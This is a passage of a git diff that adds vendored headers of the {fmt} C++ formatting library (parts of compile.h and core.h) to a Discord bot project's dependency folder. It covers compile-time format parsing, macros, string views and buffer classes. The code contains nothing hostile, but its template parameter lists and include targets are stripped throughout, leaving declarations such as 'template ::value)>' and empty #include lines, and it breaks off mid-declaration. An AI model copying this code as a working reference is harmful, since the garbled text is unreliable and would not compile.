+ } else { + constexpr auto arg_id_result = + parse_arg_id(str.data() + POS + 1, str.data() + str.size()); + constexpr auto arg_id_end_pos = arg_id_result.arg_id_end - str.data(); + constexpr char_type c = + arg_id_end_pos != str.size() ? str[arg_id_end_pos] : char_type(); + static_assert(c == '}' || c == ':', "missing '}' in format string"); + if constexpr (arg_id_result.arg_id.kind == arg_id_kind::index) { + static_assert( + ID == manual_indexing_id || ID == 0, + "cannot switch from automatic to manual argument indexing"); + constexpr auto arg_index = arg_id_result.arg_id.val.index; + using id_type = get_type; + if constexpr (c == '}') { + return parse_tail( + field(), format_str); + } else if constexpr (c == ':') { + constexpr auto result = + parse_specs(str, arg_id_end_pos + 1, 0); + return parse_tail( + spec_field{result.fmt}, + format_str); + } + } else if constexpr (arg_id_result.arg_id.kind == arg_id_kind::name) { + if constexpr (c == '}') { + return parse_tail( + runtime_named_field{arg_id_result.arg_id.val.name}, + format_str); + } else if constexpr (c == ':') { + return unknown_format(); // no type info for specs parsing + } + } + } + } else if constexpr (str[POS] == '}') { + if constexpr (POS + 1 == str.size()) + throw format_error("unmatched '}' in format string"); + return parse_tail(make_text(str, POS, 1), format_str); + } else { + constexpr auto end = parse_text(str, POS + 1); + if constexpr (end - POS > 1) { + return parse_tail(make_text(str, POS, end - POS), + format_str); + } else { + return parse_tail(code_unit{str[POS]}, + format_str); + } + } +} + +template ::value || + detail::is_compiled_string::value)> +constexpr auto compile(S format_str) { + constexpr basic_string_view str = format_str; + if constexpr (str.size() == 0) { + return detail::make_text(str, 0, 0); + } else { + constexpr auto result = + detail::compile_format_string, 0, 0>( + format_str); + return result; + } +} +#else +template ::value)> +constexpr auto compile(S format_str) -> detail::compiled_format { + return detail::compiled_format(to_string_view(format_str)); +} +#endif // __cpp_if_constexpr + +// Compiles the format string which must be a string literal. +template +auto compile(const Char (&format_str)[N]) + -> detail::compiled_format { + return detail::compiled_format( + basic_string_view(format_str, N - 1)); +} +} // namespace detail + +// DEPRECATED! use FMT_COMPILE instead. +template +FMT_DEPRECATED auto compile(const Args&... args) + -> decltype(detail::compile(args...)) { + return detail::compile(args...); +} + +#if FMT_USE_CONSTEXPR +# ifdef __cpp_if_constexpr + +template ::value)> +FMT_INLINE std::basic_string format(const CompiledFormat& cf, + const Args&... args) { + basic_memory_buffer buffer; + cf.format(detail::buffer_appender(buffer), args...); + return to_string(buffer); +} + +template ::value)> +constexpr OutputIt format_to(OutputIt out, const CompiledFormat& cf, + const Args&... args) { + return cf.format(out, args...); +} +# endif // __cpp_if_constexpr +#endif // FMT_USE_CONSTEXPR + +template ::value)> +std::basic_string format(const CompiledFormat& cf, const Args&... args) { + basic_memory_buffer buffer; + using context = buffer_context; + detail::cf::vformat_to(detail::buffer_appender(buffer), cf, + make_format_args(args...)); + return to_string(buffer); +} + +template ::value)> +FMT_INLINE std::basic_string format(const S&, + Args&&... args) { +#ifdef __cpp_if_constexpr + if constexpr (std::is_same::value) { + constexpr basic_string_view str = S(); + if constexpr (str.size() == 2 && str[0] == '{' && str[1] == '}') { + const auto& first = detail::first(args...); + if constexpr (detail::is_named_arg< + remove_cvref_t>::value) { + return fmt::to_string(first.value); + } else { + return fmt::to_string(first); + } + } + } +#endif + constexpr auto compiled = detail::compile(S()); +#ifdef __cpp_if_constexpr + if constexpr (std::is_same, + detail::unknown_format>()) { + return format(static_cast>(S()), + std::forward(args)...); + } else { + return format(compiled, std::forward(args)...); + } +#else + return format(compiled, std::forward(args)...); +#endif +} + +template ::value)> +constexpr OutputIt format_to(OutputIt out, const CompiledFormat& cf, + const Args&... args) { + using char_type = typename CompiledFormat::char_type; + using context = format_context_t; + return detail::cf::vformat_to(out, cf, + make_format_args(args...)); +} + +template ::value)> +FMT_CONSTEXPR OutputIt format_to(OutputIt out, const S&, Args&&... args) { + constexpr auto compiled = detail::compile(S()); +#ifdef __cpp_if_constexpr + if constexpr (std::is_same, + detail::unknown_format>()) { + return format_to(out, + static_cast>(S()), + std::forward(args)...); + } else { + return format_to(out, compiled, std::forward(args)...); + } +#else + return format_to(out, compiled, std::forward(args)...); +#endif +} + +template +auto format_to_n(OutputIt out, size_t n, const CompiledFormat& cf, + const Args&... args) -> + typename std::enable_if< + detail::is_output_iterator::value && + std::is_base_of::value, + format_to_n_result>::type { + auto it = + format_to(detail::truncating_iterator(out, n), cf, args...); + return {it.base(), it.count()}; +} + +template ::value)> +format_to_n_result format_to_n(OutputIt out, size_t n, const S&, + Args&&... args) { + auto it = format_to(detail::truncating_iterator(out, n), S(), + std::forward(args)...); + return {it.base(), it.count()}; +} + +template ::value || + detail::is_compiled_string::value)> +size_t formatted_size(const CompiledFormat& cf, const Args&... args) { + return format_to(detail::counting_iterator(), cf, args...).count(); +} + +#if FMT_USE_NONTYPE_TEMPLATE_PARAMETERS +inline namespace literals { +template +constexpr detail::udl_compiled_string, + sizeof(Str.data), Str> +operator""_cf() { + return {}; +} +} // namespace literals +#endif + +FMT_END_NAMESPACE + +#endif // FMT_COMPILE_H_ diff --git a/MyBot/dependencies/include/dpp-9.0/dpp/fmt/core.h b/MyBot/dependencies/include/dpp-9.0/dpp/fmt/core.h new file mode 100644 index 0000000..7d2ba5a --- /dev/null +++ b/MyBot/dependencies/include/dpp-9.0/dpp/fmt/core.h @@ -0,0 +1,1963 @@ +// Formatting library for C++ - the core API +// +// Copyright (c) 2012 - present, Victor Zverovich +// All rights reserved. +// +// For the license information refer to format.h. + +#ifndef FMT_CORE_H_ +#define FMT_CORE_H_ + +#include // std::FILE +#include +#include +#include +#include + +// The fmt library version in the form major * 10000 + minor * 100 + patch. +#define FMT_VERSION 70103 + +#ifdef __clang__ +# define FMT_CLANG_VERSION (__clang_major__ * 100 + __clang_minor__) +#else +# define FMT_CLANG_VERSION 0 +#endif + +#if defined(__GNUC__) && !defined(__clang__) +# define FMT_GCC_VERSION (__GNUC__ * 100 + __GNUC_MINOR__) +# define FMT_GCC_PRAGMA(arg) _Pragma(arg) +#else +# define FMT_GCC_VERSION 0 +# define FMT_GCC_PRAGMA(arg) +#endif + +#if defined(__INTEL_COMPILER) +# define FMT_ICC_VERSION __INTEL_COMPILER +#else +# define FMT_ICC_VERSION 0 +#endif + +#if __cplusplus >= 201103L || defined(__GXX_EXPERIMENTAL_CXX0X__) +# define FMT_HAS_GXX_CXX11 FMT_GCC_VERSION +#else +# define FMT_HAS_GXX_CXX11 0 +#endif + +#ifdef __NVCC__ +# define FMT_NVCC __NVCC__ +#else +# define FMT_NVCC 0 +#endif + +#ifdef _MSC_VER +# define FMT_MSC_VER _MSC_VER +# define FMT_MSC_WARNING(...) __pragma(warning(__VA_ARGS__)) +#else +# define FMT_MSC_VER 0 +# define FMT_MSC_WARNING(...) +#endif + +#ifdef __has_feature +# define FMT_HAS_FEATURE(x) __has_feature(x) +#else +# define FMT_HAS_FEATURE(x) 0 +#endif + +#if defined(__has_include) && !defined(__INTELLISENSE__) && \ + (!FMT_ICC_VERSION || FMT_ICC_VERSION >= 1600) +# define FMT_HAS_INCLUDE(x) __has_include(x) +#else +# define FMT_HAS_INCLUDE(x) 0 +#endif + +#ifdef __has_cpp_attribute +# define FMT_HAS_CPP_ATTRIBUTE(x) __has_cpp_attribute(x) +#else +# define FMT_HAS_CPP_ATTRIBUTE(x) 0 +#endif + +#define FMT_HAS_CPP14_ATTRIBUTE(attribute) \ + (__cplusplus >= 201402L && FMT_HAS_CPP_ATTRIBUTE(attribute)) + +#define FMT_HAS_CPP17_ATTRIBUTE(attribute) \ + (__cplusplus >= 201703L && FMT_HAS_CPP_ATTRIBUTE(attribute)) + +// Check if relaxed C++14 constexpr is supported. +// GCC doesn't allow throw in constexpr until version 6 (bug 67371). +#ifndef FMT_USE_CONSTEXPR +# define FMT_USE_CONSTEXPR \ + (FMT_HAS_FEATURE(cxx_relaxed_constexpr) || FMT_MSC_VER >= 1910 || \ + (FMT_GCC_VERSION >= 600 && __cplusplus >= 201402L)) && \ + !FMT_NVCC && !FMT_ICC_VERSION +#endif +#if FMT_USE_CONSTEXPR +# define FMT_CONSTEXPR constexpr +# define FMT_CONSTEXPR_DECL constexpr +#else +# define FMT_CONSTEXPR +# define FMT_CONSTEXPR_DECL +#endif + +#ifndef FMT_OVERRIDE +# if FMT_HAS_FEATURE(cxx_override_control) || \ + (FMT_GCC_VERSION >= 408 && FMT_HAS_GXX_CXX11) || FMT_MSC_VER >= 1900 +# define FMT_OVERRIDE override +# else +# define FMT_OVERRIDE +# endif +#endif + +// Check if exceptions are disabled. +#ifndef FMT_EXCEPTIONS +# if (defined(__GNUC__) && !defined(__EXCEPTIONS)) || \ + FMT_MSC_VER && !_HAS_EXCEPTIONS +# define FMT_EXCEPTIONS 0 +# else +# define FMT_EXCEPTIONS 1 +# endif +#endif + +// Define FMT_USE_NOEXCEPT to make fmt use noexcept (C++11 feature). +#ifndef FMT_USE_NOEXCEPT +# define FMT_USE_NOEXCEPT 0 +#endif + +#if FMT_USE_NOEXCEPT || FMT_HAS_FEATURE(cxx_noexcept) || \ + (FMT_GCC_VERSION >= 408 && FMT_HAS_GXX_CXX11) || FMT_MSC_VER >= 1900 +# define FMT_DETECTED_NOEXCEPT noexcept +# define FMT_HAS_CXX11_NOEXCEPT 1 +#else +# define FMT_DETECTED_NOEXCEPT throw() +# define FMT_HAS_CXX11_NOEXCEPT 0 +#endif + +#ifndef FMT_NOEXCEPT +# if FMT_EXCEPTIONS || FMT_HAS_CXX11_NOEXCEPT +# define FMT_NOEXCEPT FMT_DETECTED_NOEXCEPT +# else +# define FMT_NOEXCEPT +# endif +#endif + +// [[noreturn]] is disabled on MSVC and NVCC because of bogus unreachable code +// warnings. +#if FMT_EXCEPTIONS && FMT_HAS_CPP_ATTRIBUTE(noreturn) && !FMT_MSC_VER && \ + !FMT_NVCC +# define FMT_NORETURN [[noreturn]] +#else +# define FMT_NORETURN +#endif + +#ifndef FMT_DEPRECATED +# if FMT_HAS_CPP14_ATTRIBUTE(deprecated) || FMT_MSC_VER >= 1900 +# define FMT_DEPRECATED [[deprecated]] +# else +# if (defined(__GNUC__) && !defined(__LCC__)) || defined(__clang__) +# define FMT_DEPRECATED __attribute__((deprecated)) +# elif FMT_MSC_VER +# define FMT_DEPRECATED __declspec(deprecated) +# else +# define FMT_DEPRECATED /* deprecated */ +# endif +# endif +#endif + +// Workaround broken [[deprecated]] in the Intel, PGI and NVCC compilers. +#if FMT_ICC_VERSION || defined(__PGI) || FMT_NVCC +# define FMT_DEPRECATED_ALIAS +#else +# define FMT_DEPRECATED_ALIAS FMT_DEPRECATED +#endif + +#ifndef FMT_INLINE +# if FMT_GCC_VERSION || FMT_CLANG_VERSION +# define FMT_INLINE inline __attribute__((always_inline)) +# else +# define FMT_INLINE inline +# endif +#endif + +#ifndef FMT_USE_INLINE_NAMESPACES +# if FMT_HAS_FEATURE(cxx_inline_namespaces) || FMT_GCC_VERSION >= 404 || \ + (FMT_MSC_VER >= 1900 && (!defined(_MANAGED) || !_MANAGED)) +# define FMT_USE_INLINE_NAMESPACES 1 +# else +# define FMT_USE_INLINE_NAMESPACES 0 +# endif +#endif + +#ifndef FMT_BEGIN_NAMESPACE +# if FMT_USE_INLINE_NAMESPACES +# define FMT_INLINE_NAMESPACE inline namespace +# define FMT_END_NAMESPACE \ + } \ + } +# else +# define FMT_INLINE_NAMESPACE namespace +# define FMT_END_NAMESPACE \ + } \ + using namespace v7; \ + } +# endif +# define FMT_BEGIN_NAMESPACE \ + namespace fmt { \ + FMT_INLINE_NAMESPACE v7 { +#endif + +#if !defined(FMT_HEADER_ONLY) && defined(_WIN32) +# define FMT_CLASS_API FMT_MSC_WARNING(suppress : 4275) +# ifdef FMT_EXPORT +# define FMT_API __declspec(dllexport) +# define FMT_EXTERN_TEMPLATE_API FMT_API +# define FMT_EXPORTED +# elif defined(FMT_SHARED) +# define FMT_API __declspec(dllimport) +# define FMT_EXTERN_TEMPLATE_API FMT_API +# endif +#else +# define FMT_CLASS_API +#endif +#ifndef FMT_API +# define FMT_API +#endif +#ifndef FMT_EXTERN_TEMPLATE_API +# define FMT_EXTERN_TEMPLATE_API +#endif +#ifndef FMT_INSTANTIATION_DEF_API +# define FMT_INSTANTIATION_DEF_API FMT_API +#endif + +#ifndef FMT_HEADER_ONLY +# define FMT_EXTERN extern +#else +# define FMT_EXTERN +#endif + +// libc++ supports string_view in pre-c++17. +#if (FMT_HAS_INCLUDE() && \ + (__cplusplus > 201402L || defined(_LIBCPP_VERSION))) || \ + (defined(_MSVC_LANG) && _MSVC_LANG > 201402L && _MSC_VER >= 1910) +# include +# define FMT_USE_STRING_VIEW +#elif FMT_HAS_INCLUDE("experimental/string_view") && __cplusplus >= 201402L +# include +# define FMT_USE_EXPERIMENTAL_STRING_VIEW +#endif + +#ifndef FMT_UNICODE +# define FMT_UNICODE !FMT_MSC_VER +#endif + +#ifndef FMT_COMPILE_TIME_CHECKS +# define FMT_COMPILE_TIME_CHECKS 0 +#endif + +// Enable minimal optimizations for more compact code in debug mode. +FMT_GCC_PRAGMA("GCC push_options") +#ifndef __OPTIMIZE__ +FMT_GCC_PRAGMA("GCC optimize(\"Og\")") +#endif + +FMT_BEGIN_NAMESPACE + +// Implementations of enable_if_t and other metafunctions for older systems. +template +using enable_if_t = typename std::enable_if::type; +template +using conditional_t = typename std::conditional::type; +template using bool_constant = std::integral_constant; +template +using remove_reference_t = typename std::remove_reference::type; +template +using remove_const_t = typename std::remove_const::type; +template +using remove_cvref_t = typename std::remove_cv>::type; +template struct type_identity { using type = T; }; +template using type_identity_t = typename type_identity::type; + +struct monostate {}; + +// An enable_if helper to be used in template parameters which results in much +// shorter symbols: https://godbolt.org/z/sWw4vP. Extra parentheses are needed +// to workaround a bug in MSVC 2019 (see #1140 and #1186). +#ifdef FMT_DOC +# define FMT_ENABLE_IF(...) +#else +# define FMT_ENABLE_IF(...) enable_if_t<(__VA_ARGS__), int> = 0 +#endif + +namespace detail { + +constexpr FMT_INLINE bool is_constant_evaluated() FMT_NOEXCEPT { +#ifdef __cpp_lib_is_constant_evaluated + return std::is_constant_evaluated(); +#else + return false; +#endif +} + +// A helper function to suppress "conditional expression is constant" warnings. +template constexpr T const_check(T value) { return value; } + +FMT_NORETURN FMT_API void assert_fail(const char* file, int line, + const char* message); + +#ifndef FMT_ASSERT +# ifdef NDEBUG +// FMT_ASSERT is not empty to avoid -Werror=empty-body. +# define FMT_ASSERT(condition, message) ((void)0) +# else +# define FMT_ASSERT(condition, message) \ + ((condition) /* void() fails with -Winvalid-constexpr on clang 4.0.1 */ \ + ? (void)0 \ + : ::fmt::detail::assert_fail(__FILE__, __LINE__, (message))) +# endif +#endif + +#if defined(FMT_USE_STRING_VIEW) +template using std_string_view = std::basic_string_view; +#elif defined(FMT_USE_EXPERIMENTAL_STRING_VIEW) +template +using std_string_view = std::experimental::basic_string_view; +#else +template struct std_string_view {}; +#endif + +#ifdef FMT_USE_INT128 +// Do nothing. +#elif defined(__SIZEOF_INT128__) && !FMT_NVCC && \ + !(FMT_CLANG_VERSION && FMT_MSC_VER) +# define FMT_USE_INT128 1 +using int128_t = __int128_t; +using uint128_t = __uint128_t; +#else +# define FMT_USE_INT128 0 +#endif +#if !FMT_USE_INT128 +struct int128_t {}; +struct uint128_t {}; +#endif + +// Casts a nonnegative integer to unsigned. +template +FMT_CONSTEXPR typename std::make_unsigned::type to_unsigned(Int value) { + FMT_ASSERT(value >= 0, "negative value"); + return static_cast::type>(value); +} + +FMT_MSC_WARNING(suppress : 4566) constexpr unsigned char micro[] = "\u00B5"; + +template constexpr bool is_unicode() { + return FMT_UNICODE || sizeof(Char) != 1 || + (sizeof(micro) == 3 && micro[0] == 0xC2 && micro[1] == 0xB5); +} + +#ifdef __cpp_char8_t +using char8_type = char8_t; +#else +enum char8_type : unsigned char {}; +#endif +} // namespace detail + +#ifdef FMT_USE_INTERNAL +namespace internal = detail; // DEPRECATED +#endif + +/** + An implementation of ``std::basic_string_view`` for pre-C++17. It provides a + subset of the API. ``fmt::basic_string_view`` is used for format strings even + if ``std::string_view`` is available to prevent issues when a library is + compiled with a different ``-std`` option than the client code (which is not + recommended). + */ +template class basic_string_view { + private: + const Char* data_; + size_t size_; + + public: + using value_type = Char; + using iterator = const Char*; + + constexpr basic_string_view() FMT_NOEXCEPT : data_(nullptr), size_(0) {} + + /** Constructs a string reference object from a C string and a size. */ + constexpr basic_string_view(const Char* s, size_t count) FMT_NOEXCEPT + : data_(s), + size_(count) {} + + /** + \rst + Constructs a string reference object from a C string computing + the size with ``std::char_traits::length``. + \endrst + */ +#if __cplusplus >= 201703L // C++17's char_traits::length() is constexpr. + FMT_CONSTEXPR +#endif + FMT_INLINE basic_string_view(const Char* s) : data_(s) { + if (std::is_same::value && !detail::is_constant_evaluated()) + size_ = std::strlen(reinterpret_cast(s)); + else + size_ = std::char_traits::length(s); + } + + /** Constructs a string reference from a ``std::basic_string`` object. */ + template + FMT_CONSTEXPR basic_string_view( + const std::basic_string& s) FMT_NOEXCEPT + : data_(s.data()), + size_(s.size()) {} + + template >::value)> + FMT_CONSTEXPR basic_string_view(S s) FMT_NOEXCEPT : data_(s.data()), + size_(s.size()) {} + + /** Returns a pointer to the string data. */ + constexpr const Char* data() const { return data_; } + + /** Returns the string size. */ + constexpr size_t size() const { return size_; } + + constexpr iterator begin() const { return data_; } + constexpr iterator end() const { return data_ + size_; } + + constexpr const Char& operator[](size_t pos) const { return data_[pos]; } + + FMT_CONSTEXPR void remove_prefix(size_t n) { + data_ += n; + size_ -= n; + } + + // Lexicographically compare this string reference to other. + int compare(basic_string_view other) const { + size_t str_size = size_ < other.size_ ? size_ : other.size_; + int result = std::char_traits::compare(data_, other.data_, str_size); + if (result == 0) + result = size_ == other.size_ ? 0 : (size_ < other.size_ ? -1 : 1); + return result; + } + + friend bool operator==(basic_string_view lhs, basic_string_view rhs) { + return lhs.compare(rhs) == 0; + } + friend bool operator!=(basic_string_view lhs, basic_string_view rhs) { + return lhs.compare(rhs) != 0; + } + friend bool operator<(basic_string_view lhs, basic_string_view rhs) { + return lhs.compare(rhs) < 0; + } + friend bool operator<=(basic_string_view lhs, basic_string_view rhs) { + return lhs.compare(rhs) <= 0; + } + friend bool operator>(basic_string_view lhs, basic_string_view rhs) { + return lhs.compare(rhs) > 0; + } + friend bool operator>=(basic_string_view lhs, basic_string_view rhs) { + return lhs.compare(rhs) >= 0; + } +}; + +using string_view = basic_string_view; +using wstring_view = basic_string_view; + +/** Specifies if ``T`` is a character type. Can be specialized by users. */ +template struct is_char : std::false_type {}; +template <> struct is_char : std::true_type {}; +template <> struct is_char : std::true_type {}; +template <> struct is_char : std::true_type {}; +template <> struct is_char : std::true_type {}; +template <> struct is_char : std::true_type {}; + +/** + \rst + Returns a string view of `s`. In order to add custom string type support to + {fmt} provide an overload of `to_string_view` for it in the same namespace as + the type for the argument-dependent lookup to work. + + **Example**:: + + namespace my_ns { + inline string_view to_string_view(const my_string& s) { + return {s.data(), s.length()}; + } + } + std::string message = fmt::format(my_string("The answer is {}"), 42); + \endrst + */ +template ::value)> +FMT_INLINE basic_string_view to_string_view(const Char* s) { + return s; +} + +template +inline basic_string_view to_string_view( + const std::basic_string& s) { + return s; +} + +template +constexpr basic_string_view to_string_view(basic_string_view s) { + return s; +} + +template >::value)> +inline basic_string_view to_string_view(detail::std_string_view s) { + return s; +} + +// A base class for compile-time strings. It is defined in the fmt namespace to +// make formatting functions visible via ADL, e.g. format(FMT_STRING("{}"), 42). +struct compile_string {}; + +template +struct is_compile_string : std::is_base_of {}; + +template ::value)> +constexpr basic_string_view to_string_view(const S& s) { + return s; +} + +namespace detail { +void to_string_view(...); +using fmt::v7::to_string_view; + +// Specifies whether S is a string type convertible to fmt::basic_string_view. +// It should be a constexpr function but MSVC 2017 fails to compile it in +// enable_if and MSVC 2015 fails to compile it as an alias template. +template +struct is_string : std::is_class()))> { +}; + +template struct char_t_impl {}; +template struct char_t_impl::value>> { + using result = decltype(to_string_view(std::declval())); + using type = typename result::value_type; +}; + +// Reports a compile-time error if S is not a valid format string. +template ::value)> +FMT_INLINE void check_format_string(const S&) { +#ifdef FMT_ENFORCE_COMPILE_STRING + static_assert(is_compile_string::value, + "FMT_ENFORCE_COMPILE_STRING requires all format strings to use " + "FMT_STRING."); +#endif +} +template ::value)> +void check_format_string(S); + +struct error_handler { + constexpr error_handler() = default; + constexpr error_handler(const error_handler&) = default; + + // This function is intentionally not constexpr to give a compile-time error. + FMT_NORETURN FMT_API void on_error(const char* message); +}; +} // namespace detail + +/** String's character type. */ +template using char_t = typename detail::char_t_impl::type; + +/** + \rst + Parsing context consisting of a format string range being parsed and an + argument counter for automatic indexing. + + You can use one of the following type aliases for common character types: + + +-----------------------+-------------------------------------+ + | Type | Definition | + +=======================+=====================================+ + | format_parse_context | basic_format_parse_context | + +-----------------------+-------------------------------------+ + | wformat_parse_context | basic_format_parse_context | + +-----------------------+-------------------------------------+ + \endrst + */ +template +class basic_format_parse_context : private ErrorHandler { + private: + basic_string_view format_str_; + int next_arg_id_; + + public: + using char_type = Char; + using iterator = typename basic_string_view::iterator; + + explicit constexpr basic_format_parse_context( + basic_string_view format_str, ErrorHandler eh = {}, + int next_arg_id = 0) + : ErrorHandler(eh), format_str_(format_str), next_arg_id_(next_arg_id) {} + + /** + Returns an iterator to the beginning of the format string range being + parsed. + */ + constexpr iterator begin() const FMT_NOEXCEPT { return format_str_.begin(); } + + /** + Returns an iterator past the end of the format string range being parsed. + */ + constexpr iterator end() const FMT_NOEXCEPT { return format_str_.end(); } + + /** Advances the begin iterator to ``it``. */ + FMT_CONSTEXPR void advance_to(iterator it) { + format_str_.remove_prefix(detail::to_unsigned(it - begin())); + } + + /** + Reports an error if using the manual argument indexing; otherwise returns + the next argument index and switches to the automatic indexing. + */ + FMT_CONSTEXPR int next_arg_id() { + // Don't check if the argument id is valid to avoid overhead and because it + // will be checked during formatting anyway. + if (next_arg_id_ >= 0) return next_arg_id_++; + on_error("cannot switch from manual to automatic argument indexing"); + return 0; + } + + /** + Reports an error if using the automatic argument indexing; otherwise + switches to the manual indexing. + */ + FMT_CONSTEXPR void check_arg_id(int) { + if (next_arg_id_ > 0) + on_error("cannot switch from automatic to manual argument indexing"); + else + next_arg_id_ = -1; + } + + FMT_CONSTEXPR void check_arg_id(basic_string_view) {} + + FMT_CONSTEXPR void on_error(const char* message) { + ErrorHandler::on_error(message); + } + + constexpr ErrorHandler error_handler() const { return *this; } +}; + +using format_parse_context = basic_format_parse_context; +using wformat_parse_context = basic_format_parse_context; + +template class basic_format_arg; +template class basic_format_args; +template class dynamic_format_arg_store; + +// A formatter for objects of type T. +template +struct formatter { + // A deleted default constructor indicates a disabled formatter. + formatter() = delete; +}; + +// Specifies if T has an enabled formatter specialization. A type can be +// formattable even if it doesn't have a formatter e.g. via a conversion. +template +using has_formatter = + std::is_constructible>; + +// Checks whether T is a container with contiguous storage. +template struct is_contiguous : std::false_type {}; +template +struct is_contiguous> : std::true_type {}; + +namespace detail { + +// Extracts a reference to the container from back_insert_iterator. +template +inline Container& get_container(std::back_insert_iterator it) { + using bi_iterator = std::back_insert_iterator; + struct accessor : bi_iterator { + accessor(bi_iterator iter) : bi_iterator(iter) {} + using bi_iterator::container; + }; + return *accessor(it).container; +} + +/** + \rst + A contiguous memory buffer with an optional growing ability. It is an internal + class and shouldn't be used directly, only via `~fmt::basic_memory_buffer`. + \endrst + */ +template class buffer { + private: + T* ptr_; + size_t size_; + size_t capacity_; + + protected: + // Don't initialize ptr_ since it is not accessed to save a few cycles. + FMT_MSC_WARNING(suppress : 26495) + buffer(size_t sz) FMT_NOEXCEPT : size_(sz), capacity_(sz) {} + + buffer(T* p = nullptr, size_t sz = 0, size_t cap = 0) FMT_NOEXCEPT + : ptr_(p), + size_(sz), + capacity_(cap) {} + + ~buffer() = default; + + /** Sets the buffer data and capacity. */ + void set(T* buf_data, size_t buf_capacity) FMT_NOEXCEPT { + ptr_ = buf_data; + capacity_ = buf_capacity; + } + + /** Increases the buffer capacity to hold at least *capacity* elements. */ + virtual void grow(size_t capacity) = 0; + + public: + using value_type = T; + using const_reference = const T&; + + buffer(const buffer&) = delete; + void operator=(const buffer&) = delete; + + T* begin() FMT_NOEXCEPT { return ptr_; } + T* end() FMT_NOEXCEPT { return ptr_ + size_; } + + const T* begin() const FMT_NOEXCEPT { return ptr_; } + const T* end() const FMT_NOEXCEPT { return ptr_ + size_; } + + /** Returns the size of this buffer. */ + size_t size() const FMT_NOEXCEPT { return size_; } + + /** Returns the capacity of this buffer. */ + size_t capacity() const FMT_NOEXCEPT { return capacity_; } + + /** Returns a pointer to the buffer data. */ + T* data() FMT_NOEXCEPT { return ptr_; } + + /** Returns a pointer to the buffer data. */ + const T* data() const FMT_NOEXCEPT { return ptr_; } + + /** Clears this buffer. */ + void clear() { size_ = 0; } + + // Tries resizing the buffer to contain *count* elements. If T is a POD type + // the new elements may not be initialized. + void try_resize(size_t count) { + try_reserve(count); + size_ = count <= capacity_ ? count : capacity_; + } + + // Tries increasing the buffer capacity to *new_capacity*. It can increase the + // capacity by a smaller amount than requested but guarantees there is space + // for at least one additional element either by increasing the capacity or by + // flushing the buffer if it is full. + void try_reserve(size_t new_capacity) { + if (new_capacity > capacity_) grow(new_capacity); + } + + void push_back(const T& value) { + try_reserve(size_ + 1); + ptr_[size_++] = value; + } + + /** Appends data to the end of the buffer. */ + template void append(const U* begin, const U* end); + + template T& operator[](I index) { return ptr_[index]; } + template const T& operator[](I index) const { + return ptr_[index]; + } +}; + +struct buffer_traits { + explicit buffer_traits(size_t) {} + size_t count() const { return 0; } + size_t limit(size_t size) { return size; } +}; + +class fixed_buffer_traits { + private: + size_t count_ = 0; + size_t limit_; + + public: + explicit fixed_buffer_traits(size_t limit) : limit_(limit) {} + size_t count() const { return count_; } + size_t limit(size_t size) { + size_t n = limit_ > count_ ? limit_ - count_ : 0; + count_ += size; + return size < n ? size : n; + } +}; + +// A buffer that writes to an output iterator when flushed. +template +class iterator_buffer final : public Traits, public buffer { + private: + OutputIt out_; + enum { buffer_size = 256 }; + T data_[buffer_size]; + + protected: + void grow(size_t) final FMT_OVERRIDE { + if (this->size() == buffer_size) flush(); + } + void flush(); + + public: + explicit iterator_buffer(OutputIt out, size_t n = buffer_size) + : Traits(n), buffer(data_, 0, buffer_size), out_(out) {} + ~iterator_buffer() { flush(); } + + OutputIt out() { + flush(); + return out_; + } + size_t count() const { return Traits::count() + this->size(); } +}; + +template class iterator_buffer final : public buffer { + protected: + void grow(size_t) final FMT_OVERRIDE {} + + public: + explicit iterator_buffer(T* out, size_t = 0) : buffer(out, 0, ~size_t()) {} + + T* out() { return &*this->end(); } +}; + +// A buffer that writes to a container with the contiguous storage. +template +class iterator_buffer, + enable_if_t::value, + typename Container::value_type>> + final : public buffer { + private: + Container& container_; + + protected: + void grow(size_t capacity) final FMT_OVERRIDE { + container_.resize(capacity); + this->set(&container_[0], capacity); + } + + public: + explicit iterator_buffer(Container& c) + : buffer(c.size()), container_(c) {} + explicit iterator_buffer(std::back_insert_iterator out, size_t = 0) + : iterator_buffer(get_container(out)) {} + std::back_insert_iterator out() { + return std::back_inserter(container_); + } +}; + +// A buffer that counts the number of code units written discarding the output. +template class counting_buffer final : public buffer { + private: + enum { buffer_size = 256 }; + T data_[buffer_size]; + size_t count_ = 0; + + protected: + void grow(size_t) final FMT_OVERRIDE { + if (this->size() != buffer_size) return; + count_ += this->size(); + this->clear(); + } + + public: + counting_buffer() : buffer(data_, 0, buffer_size) {} + + size_t count() { return count_ + this->size(); } +}; + +// An output iterator that appends to the buffer. +// It is used to reduce symbol sizes for the common case. +template +class buffer_appender : public std::back_insert_iterator> { + using base = std::back_insert_iterator>; + + public: + using std::back_insert_iterator>::back_insert_iterator; + buffer_appender(base it) : base(it) {} + + buffer_appender& operator++() { + base::operator++(); + return *this; + } + + buffer_appender operator++(int) { + buffer_appender tmp = *this; + ++*this; + return tmp; + } +}; + +// Maps an output iterator into a buffer. +template +iterator_buffer get_buffer(OutputIt); +template buffer& get_buffer(buffer_appender); + +template OutputIt get_buffer_init(OutputIt out) { + return out; +} +template buffer& get_buffer_init(buffer_appender out) { + return get_container(out); +} + +template +auto get_iterator(Buffer& buf) -> decltype(buf.out()) { + return buf.out(); +} +template buffer_appender get_iterator(buffer& buf) { + return buffer_appender(buf); +} + +template +struct fallback_formatter { + fallback_formatter() = delete; +}; + +// Specifies if T has an enabled fallback_formatter specialization. +template +using has_fallback_formatter = + std::is_constructible>; + +struct view {}; + +template struct named_arg : view { + const Char* name; + const T& value; + named_arg(const Char* n, const T& v) : name(n), value(v) {} +}; + +template struct named_arg_info { + const Char* name; + int id; +}; + +template +struct arg_data { + // args_[0].named_args points to named_args_ to avoid bloating format_args. + // +1 to workaround a bug in gcc 7.5 that causes duplicated-branches warning. + T args_[1 + (NUM_ARGS != 0 ? NUM_ARGS : +1)]; + named_arg_info named_args_[NUM_NAMED_ARGS]; + + template + arg_data(const U&... init) : args_{T(named_args_, NUM_NAMED_ARGS), init...} {} + arg_data(const arg_data& other) = delete; + const T* args() const { return args_ + 1; } + named_arg_info* named_args() { return named_args_; } +}; + +template +struct arg_data { + // +1 to workaround a bug in gcc 7.5 that causes duplicated-branches warning. + T args_[NUM_ARGS != 0 ? NUM_ARGS : +1]; + + template + FMT_CONSTEXPR FMT_INLINE arg_data(const U&... init) : args_{init...} {} + FMT_CONSTEXPR FMT_INLINE const T* args() const { return args_; } + FMT_CONSTEXPR FMT_INLINE std::nullptr_t named_args() { return nullptr; } +}; + +template +inline void init_named_args(named_arg_info*, int, int) {} + +template +void init_named_args(named_arg_info* named_args, int arg_count, + int named_arg_count, const T&, const 